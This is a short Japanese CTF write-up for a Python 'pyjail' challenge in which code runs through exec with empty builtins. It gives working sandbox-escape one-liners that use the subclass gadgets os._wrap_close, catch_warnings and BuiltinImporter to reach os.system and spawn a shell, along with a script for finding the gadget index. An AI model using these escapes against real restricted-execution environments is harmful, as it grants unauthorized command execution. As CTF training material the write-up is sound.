0x41414141 CTF 2021 - pyjail
Challenge
基本的な builtins 制限の pyjail。
code = input()exec(code, {'__builtins__': {}})Solution
os._wrap_close ガジェット
os.popen() の戻り値のクラスで、__init__.__globals__ から os モジュールにアクセス可能:
# サブクラスから _wrap_close を探す[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('id')インデックスで直接アクセス
# インデックスは環境依存().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['system']('sh')探索スクリプト
for i, c in enumerate(().__class__.__bases__[0].__subclasses__()): if '_wrap_close' in str(c): print(f"Index: {i}, Class: {c}")Technical Details
os._wrap_close の仕組み
import os
# os.popen() は _wrap_close オブジェクトを返すf = os.popen('id')type(f) # <class 'os._wrap_close'>
# __init__ メソッドは os モジュール内で定義されているf.__init__.__globals__['system'] # os.systemサブクラスの探索
# 全サブクラスを列挙for i, c in enumerate(object.__subclasses__()): # __init__ が関数オブジェクトかチェック if hasattr(c, '__init__') and hasattr(c.__init__, '__globals__'): if 'system' in c.__init__.__globals__: print(f"[{i}] {c.__name__}: has system")よく使われるガジェット
| クラス | 用途 |
|---|---|
os._wrap_close | system, popen |
warnings.catch_warnings | _module.__builtins__ |
BuiltinImporter | load_module() |
Alternative Solutions
別解1: catch_warnings
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')別解2: BuiltinImporter
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'BuiltinImporter'][0].load_module('os').system('id')Flag
flag{...}
References
- 0x41414141 CTF 2021 Official